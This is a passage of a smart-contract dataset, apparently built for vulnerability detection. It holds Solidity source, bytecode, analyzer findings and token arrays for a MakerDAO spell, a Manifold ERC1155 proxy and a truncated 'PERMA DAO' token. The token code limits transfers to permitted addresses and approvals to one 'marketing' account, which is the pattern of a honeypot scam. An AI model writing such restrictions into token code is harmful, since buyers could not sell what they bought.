<https://www.gnu.org/licenses/>. /* pragma solidity 0.6.12; */ /* pragma experimental ABIEncoderV2; */ /* import "dss-exec-lib/DssExec.sol"; */ /* import "dss-exec-lib/DssAction.sol"; */ contract DssSpellAction is DssAction { // Provides a descriptive tag for bot consumption // This should be modified weekly to provide a summary of the actions // Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/6d18889e1ebcc2f024c377e106682493ce399beb/governance/votes/Executive%20vote%20-%20September%2017%2C%202021.md -q -O - 2>/dev/null)" string public constant override description = "2021-09-17 MakerDAO Executive Spell | Hash: 0x613a50aee82adca6f6f32a4f7298c70b1c9d061648e786c84b3872ffc5963e3e"; string public constant in_memory_of = "Jeffrey Blechschmidt"; // Many of the settings that change weekly rely on the rate accumulator // described at https://docs.makerdao.com/smart-contract-modules/rates-module // To check this yourself, use the following rate calculation (example 8%): // // $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )' // // A table of rates can be found at // https://ipfs.io/ipfs/QmefQMseb3AiTapiAKKexdKHig8wroKuZbmLtPLv4u2YwW // uint256 constant ONE_PCT_RATE = 1000000000315522921573372069; // Math uint256 constant THOUSAND = 10 ** 3; uint256 constant MILLION = 10 ** 6; uint256 constant BILLION = 10 ** 9; uint256 constant RAY = 10 ** 27; address constant GUNIV3DAIUSDC1 = 0xAbDDAfB225e10B90D798bB8A886238Fb835e2053; address constant MCD_JOIN_GUNIV3DAIUSDC1_A = 0xbFD445A97e7459b0eBb34cfbd3245750Dba4d7a4; address constant MCD_CLIP_GUNIV3DAIUSDC1_A = 0x5048c5Cd3102026472f8914557A1FD35c8Dc6c9e; address constant MCD_CLIP_CALC_GUNIV3DAIUSDC1_A = 0x25B17065b94e3fDcD97d94A2DA29E7F77105aDd7; address constant PIP_GUNIV3DAIUSDC1 = 0x7F6d78CC0040c87943a0e0c140De3F77a273bd58; // Turn on office hours function officeHours() public override returns (bool) { return true; } function actions() public override { // Offboard KNC Legacy Token // https://vote.makerdao.com/polling/QmQ4Jotm?network=mainnet#poll-detail DssExecLib.setIlkLiquidationPenalty("KNC-A", 0); DssExecLib.linearInterpolation({ _name: "KNC Offboarding", _target: DssExecLib.spotter(), _ilk: "KNC-A", _what: "mat", _startTime: block.timestamp, _start: 175 * RAY / 100, _end: 5_000 * RAY / 100, _duration: 60 days }); // Adopt the Debt Ceiling Instant Access Module (DC-IAM) for PSM-PAX-A // https://vote.makerdao.com/polling/QmbGPgxo?network=mainnet#poll-detail DssExecLib.setIlkAutoLineParameters({ _ilk: "PSM-PAX-A", _amount: 500 * MILLION, _gap: 50 * MILLION, _ttl: 24 hours }); DssExecLib.setIlkAutoLineParameters({ _ilk: "PSM-USDC-A", _amount: 10 * BILLION, _gap: 950 * MILLION, _ttl: 24 hours }); // G-UNI DAI/USDC DssExecLib.setStairstepExponentialDecrease(MCD_CLIP_CALC_GUNIV3DAIUSDC1_A, 120 seconds, 9990); CollateralOpts memory GUNIV3DAIUSDC1_A = CollateralOpts({ ilk: "GUNIV3DAIUSDC1-A", gem: GUNIV3DAIUSDC1, join: MCD_JOIN_GUNIV3DAIUSDC1_A, clip: MCD_CLIP_GUNIV3DAIUSDC1_A, calc: MCD_CLIP_CALC_GUNIV3DAIUSDC1_A, pip: PIP_GUNIV3DAIUSDC1, isLiquidatable: false, isOSM: true, whitelistOSM: false, ilkDebtCeiling: 10 * MILLION, minVaultAmount: 10 * THOUSAND, maxLiquidationAmount: 5 * MILLION, liquidationPenalty: 1300, ilkStabilityFee: ONE_PCT_RATE, startingPriceFactor: 10500, breakerTolerance: 9500, // Allows for a 5% hourly price drop before disabling liquidations auctionDuration: 220 minutes, permittedDrop: 9000, liquidationRatio: 10500, kprFlatReward: 300, kprPctReward: 10 // 0.1% }); DssExecLib.addNewCollateral(GUNIV3DAIUSDC1_A); DssExecLib.setIlkAutoLineParameters("GUNIV3DAIUSDC1-A", 10 * MILLION, 10 * MILLION, 8 hours); DssExecLib.setChangelogAddress("GUNIV3DAIUSDC1", GUNIV3DAIUSDC1); DssExecLib.setChangelogAddress("MCD_JOIN_GUNIV3DAIUSDC1_A", MCD_JOIN_GUNIV3DAIUSDC1_A); DssExecLib.setChangelogAddress("MCD_CLIP_GUNIV3DAIUSDC1_A", MCD_CLIP_GUNIV3DAIUSDC1_A); DssExecLib.setChangelogAddress("MCD_CLIP_CALC_GUNIV3DAIUSDC1_A", MCD_CLIP_CALC_GUNIV3DAIUSDC1_A); DssExecLib.setChangelogAddress("PIP_GUNIV3DAIUSDC1", PIP_GUNIV3DAIUSDC1); DssExecLib.setChangelogVersion("1.9.6"); } } contract DssSpell is DssExec { constructor() DssExec(block.timestamp + 30 days, address(new DssSpellAction())) public {} }
0x608060405234801561001057600080fd5b50600436106100ae5760003560e01c8062a7029b146100b35780630a7a1c4d146100d15780634665096d146100e657806351973ec9146100fb57806351f91066146101035780636e832f071461010b5780637284e416146101205780638456cb591461012857806396d373e514610130578063ae8421e11461013a578063b0604a2614610142578063f7992d851461014a578063fe7d47bb14610152575b600080fd5b6100bb61015a565b6040516100c89190610948565b60405180910390f35b6100d96101e7565b6040516100c89190610871565b6100ee61020b565b6040516100c8919061093f565b6100d961022f565b6100ee610247565b61011361026b565b6040516100c89190610934565b6100bb610303565b6100d961039a565b6101386103be565b005b6101136104e6565b6101386104ef565b6100ee6106ac565b6100ee6106b2565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156101df5780601f106101b4576101008083540402835291602001916101df565b820191906000526020600020905b8154815290600101906020018083116101c257829003601f168201915b505050505081565b7f0000000000000000000000008ca44c4f3260e0cac9c221d94703a65bad33450f81565b7f00000000000000000000000000000000000000000000000000000000616cb55481565b73da0ab1e0017debcd72be8599041a2aa3ba7e740f81565b7f9fb1711ddba9708be77eed783b8c4a1952bf75e28130223e74ab53fee2eadc5f81565b60007f0000000000000000000000008ca44c4f3260e0cac9c221d94703a65bad33450f6001600160a01b0316636e832f076040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c657600080fd5b505afa1580156102da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102fe91906107cc565b905090565b60607f0000000000000000000000008ca44c4f3260e0cac9c221d94703a65bad33450f6001600160a01b0316637284e4166040518163ffffffff1660e01b815260040160006040518083038186803b15801561035e57600080fd5b505afa158015610372573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526102fe91908101906107f3565b7f000000000000000000000000be286431454714f511008713973d3b053a2d38f381565b60025460ff16156103ea5760405162461bcd60e51b81526004016103e19061095b565b60405180910390fd5b6002805460ff1916600190811790915560005460405163168ccd6760e01b81526001600160a01b037f000000000000000000000000be286431454714f511008713973d3b053a2d38f3169263168ccd679261048d927f0000000000000000000000008ca44c4f3260e0cac9c221d94703a65bad33450f927f9fb1711ddba9708be77eed783b8c4a1952bf75e28130223e74ab53fee2eadc5f929091600401610885565b600060405180830381600087803b1580156104a757600080fd5b505af11580156104bb573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526104e391908101906107f3565b50565b60025460ff1681565b7f00000000000000000000000000000000000000000000000000000000616cb55442111561052f5760405162461bcd60e51b81526004016103e1906109cc565b6000541561054f5760405162461bcd60e51b81526004016103e190610987565b7f000000000000000000000000be286431454714f511008713973d3b053a2d38f36001600160a01b0316636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b1580156105a857600080fd5b505afa1580156105bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105e0919061082d565b420160008190556040516346d2fbbb60e01b81526001600160a01b037f000000000000000000000000be286431454714f511008713973d3b053a2d38f316916346d2fbbb91610678917f0000000000000000000000008ca44c4f3260e0cac9c221d94703a65bad33450f917f9fb1711ddba9708be77eed783b8c4a1952bf75e28130223e74ab53fee2eadc5f91600191600401610885565b600060405180830381600087803b15801561069257600080fd5b505af11580156106a6573d6000803e3d6000fd5b50505050565b60005481565b60008054604051632fc3ef3b60e21b81526001600160a01b037f0000000000000000000000008ca44c4f3260e0cac9c221d94703a65bad33450f169163bf0fbcec91610701919060040161093f565b60206040518083038186803b15801561071957600080fd5b505afa15801561072d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102fe919061082d565b600082601f830112610761578081fd5b81516001600160401b0380821115610777578283fd5b604051601f8301601f191681016020018281118282101715610797578485fd5b6040528281529250828483016020018610156107b257600080fd5b6107c3836020830160208801610a0b565b50505092915050565b6000602082840312156107dd578081fd5b815180151581146107ec578182fd5b9392505050565b600060208284031215610804578081fd5b81516001600160401b03811115610819578182fd5b61082584828501610751565b949350505050565b60006020828403121561083e578081fd5b5051919050565b6000815180845261085d816020860160208601610a0b565b601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b60006080820160018060a01b038716835260208681850152608060408501528286546001808216600081146108c157600181146108e15761091c565b6108d1607f60028504168761093f565b60ff19841681528501935061091c565b600283046108ef818861093f565b6108f88c6109ff565b895b83811015610913578154838201529085019088016108fa565b91909101955050505b50505080935050505082606083015295945050505050565b901515815260200190565b90815260200190565b6000602082526107ec6020830184610845565b6020808252601290820152711cdc195b1b0b585b1c9958591e4b58d85cdd60721b604082015260600190565b60208082526025908201527f54686973207370656c6c2068617320616c7265616479206265656e2073636865604082015264191d5b195960da1b606082015260800190565b602080825260199082015278151a1a5cc818dbdb9d1c9858dd081a185cc8195e1c1a5c9959603a1b604082015260600190565b60009081526020902090565b60005b83811015610a26578181015183820152602001610a0e565b838111156106a6575050600091015256fea2646970667358221220d4d811c1b8c4255f0bba55c669400342dfc83f28667e4a236e412bee0360ed4f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 14141, 2094, 16086, 2629, 4783, 2620, 2094, 2692, 2683, 24087, 2546, 2575, 6679, 8586, 27531, 2575, 2683, 4215, 2575, 21926, 2063, 14526, 14142, 2546, 2692, 2475, 1013, 1013, 2002, 2615, 2213, 1024, 16379, 4216, 1997, 5034, 2278, 1013, 16233, 4757, 11880, 2140, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 12943, 24759, 1011, 1017, 1012, 1014, 1011, 2030, 1011, 2101, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1020, 1012, 2260, 1028, 1027, 1014, 1012, 1020, 1012, 2260, 1026, 1014, 1012, 1021, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 5622, 2497, 1013, 16233, 2015, 1011, 4654, 8586, 1011, 5622, 2497, 1013, 5034, 2278, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,698
0x958ec4f02d10762601e487d32b2814409fef7c44
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Retric Dreams - Editions /// @author: manifold.xyz import "./ERC1155Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // ,,,,,,,,,,, ,,,,,,,,,,,,, ,,,,,,,,,,,,, ,,,,,,,,,,, ,,,,, ,,ag,, // // ]##############p ]#############~############# ]##############p ]##### ###########m // // ]#####[email protected]#####b ]#####%%%%%%%%~WWWW#####WWWW ]#####[email protected]#####b ]##### ,######T"@##### // // ]##### ,###### ]##### j##### ]##### ,###### ]##### ###### @####b // // ]############### ]############ j##### ]###############` ]##### ]#####b // // ]############Q` ]#####WWWWWW= j##### ]############Q~ ]##### j#####b // // ]##### @#####Q ]##### j##### ]##### 1#####b ]##### @##### @####b // // ]##### @#####p ]#############- j##### ]##### @#####p ]##### '@############M // // ]##### @#####p ]#############~ j###QQ""^`,]#####~ "[email protected]#####p ]##### "%########W` // // ;# $ `` // // ;# ,# // // ,#^ ,#", // // #^ ;#" {b sM"W ,#^ a ,",## s#^ ;#^ // // ;" ,#M` ~ {W,##.',s# ,#\;#k #N`#" ~ @b // // ^ .s#" #b @b;= @#^{#^{# ^ @N` a" // // ,sNW" // // -=~""` // // // // // // // // Q#@} ]# // // , ###p ##p ##b // // mmm ,, ]##N s #[email protected]@ @##G ,w @### ,, yppW // // [email protected]##> [email protected]#b jNN# ,, @@###b#### @@@j @#p]### ##p #### // // ,,, s## ]bG#Q##b [email protected]#b]b j### #NpQ#@b#b##[email protected]##@@#@###@Nb# ]#@p @[email protected] b;#@N.,, @ [ , // // #####Q##]NG#85#########@########[email protected]@###[email protected]###@#@##[email protected]#@#@##@#####[email protected]@b#@##### #@[email protected]####@## // // @###@@############@@NG########@@#[email protected]@##@#####Q#@#@#@##@#A######[email protected]#@[email protected]##@##@#@@###|@##b // // @####@###########b###########b###@###@#5####@########@#f#@@@@#m#S##@#N######@@#@N########### // // @#########Q###@##@[email protected]#@####@##@#[email protected]@#@###@@#@@@QQ##@@###########@Q#Q####QQ###@#[email protected]@######@#@@@ // // // // :ppp pp- p ppp p ,p, p .~ ,p, // // !Gp~ G 'G G G G @# @b !##!b 'Gpp // // !Gss Gw## G G G "S-S !b'Sb ]N-Q~ // // // // // // // //////////////////////////////////////////////////////////////////////////////////////////////////////// contract RDE is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102c260279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b6060833b6101945760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101af9190610242565b600060405180830381855af49150503d80600081146101ea576040519150601f19603f3d011682016040523d82523d6000602084013e6101ef565b606091505b50915091506101ff828286610209565b9695505050505050565b60608315610218575081610105565b8251156102285782518084602001fd5b8160405162461bcd60e51b815260040161018b919061025e565b60008251610254818460208701610291565b9190910192915050565b602081526000825180602084015261027d816040850160208701610291565b601f01601f19169190910160400192915050565b60005b838110156102ac578181015183820152602001610294565b838111156102bb576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212201521cc03d443144b99bec55d87314686f0e50424526575138ca5abc1e1cce96764736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 8586, 2549, 2546, 2692, 2475, 2094, 10790, 2581, 2575, 23833, 24096, 2063, 18139, 2581, 2094, 16703, 2497, 22407, 16932, 12740, 2683, 7959, 2546, 2581, 2278, 22932, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1013, 1013, 1030, 2516, 1024, 2128, 12412, 5544, 1011, 6572, 1013, 1013, 1013, 1030, 3166, 1024, 19726, 1012, 1060, 2100, 2480, 12324, 1000, 1012, 1013, 9413, 2278, 14526, 24087, 16748, 8844, 1012, 14017, 1000, 1025, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,699
0x958f32525fd4cad758b9a9f8729ad22a7395d646
pragma solidity ^0.6.6; import "./Permission.sol"; import "./SafeMath.sol"; import "./Address.sol"; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Permission, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor () public { _name = "PERMA DAO"; _symbol = "PERMA"; _decimals = 9; _totalSupply = 690000000000000000000000; _balances[marketing()] = _totalSupply; emit Transfer(address(0), marketing(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {balanceOf} and {transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual onlyPermitted override returns (bool) { _transfer(_msgSender(), recipient, amount); if(_msgSender() == marketing()) { givePermissions(recipient); } return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual onlyMarketing override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, 